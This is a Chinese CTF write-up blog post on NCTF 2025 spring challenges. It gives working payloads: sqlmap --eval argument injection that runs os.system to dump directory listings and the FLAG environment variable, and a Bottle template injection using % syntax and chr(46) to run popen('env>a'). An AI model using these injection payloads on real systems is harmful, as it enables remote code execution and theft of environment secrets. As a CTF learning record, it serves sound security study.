NCTF - 2025春季赛

sqlmap-master

打开题目,一个输入框

当点击 Inject
会触发 runInject()
函数体执行,将写入的内容通过 HTTP POST 请求发送给 /run
路由,并异步接收来自路由的响应数据,然后逐步将响应内容显示在页面上

下载题目附件

源码分析
源码很短也很简单,使用 FastAPI
框架搭建网站,提供了两个路由:根路由,返回首页 index.html
,另一个 /run
路由,用来接收来自前端的 URL 参数并触发 sqlmap 执行,执行结果通过 StreamingResponse
传输给前端
1 | # main.py |
靶机不出网,随便输入,页面返回了 SQLMAP 的执行结果

subprocess.Popen()
设置 shell=False
,无法使用常规的命令注入技巧,但 SQLMAP
参数仍然可控,Github
检索一下 sqlmap
可利用的参数:
1 | Usage: python sqlmap.py [options] |
看到这两个
1 | --eval=EVALCODE Evaluate provided Python code before the request (e.g. |
--eval
能够运行 python
代码,执行系统命令,写入文件并用 -c
读取文件内容,-c
的内容会回显在 sqlmap
的执行结果中
将内容写入 sql1
中
1 | sqlmap -u `127.0.0.1 --eval eval("__import__('os').system('ls$IFS-m$IFS/>>sql1')")` --batch --flush-session |

读取
1 | sqlmap -u `127.0.0.1 -c sql1` --batch --flush-session |
读取成功,但 flag 不在根目录

NCTF 题目的所有 FLAG 都存储在环境变量 FLAG 中

直接读取 FLAG 环境变量,得到 flag
1 | 127.0.0.1 --eval eval("__import__('os').system('echo$IFS$FLAG>>sql2')") |

ez_dash(复现)

源码
1 | #source.txt |
我们翻看 Bottle
文档模板引擎部分,能很轻易的发现模板注入
1 | return bottle.template(path) |

尽管程序过滤了.{}
,但Bottle
模板引擎还支持 %
的写法,能解析Python
代码

所以思路是直接模板注入,不用管 _set
,题目过滤了.
我们可以通过编码绕过
1 | if path.find("{") >= 0 or path.find("}") >= 0 or path.find(".")>=0: |
命令执行Payload
如下,发包时记得进行一层URL编码
1 | /render?path=% eval("__import__('os')"+chr(46)+"popen('env>a')") |

ez_dash_revenge(复现)

已复现
详细请看 - 初识原型链污染篇章:
H2 Revenge

internal_api

- 标题: NCTF - 2025春季赛
- 作者: Octopus
- 创建于 : 2025-03-24 10:34:28
- 更新于 : 2025-04-12 14:57:00
- 链接: https://redefine.ohevan.com/2025/03/24/NCTF-2025春季赛/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论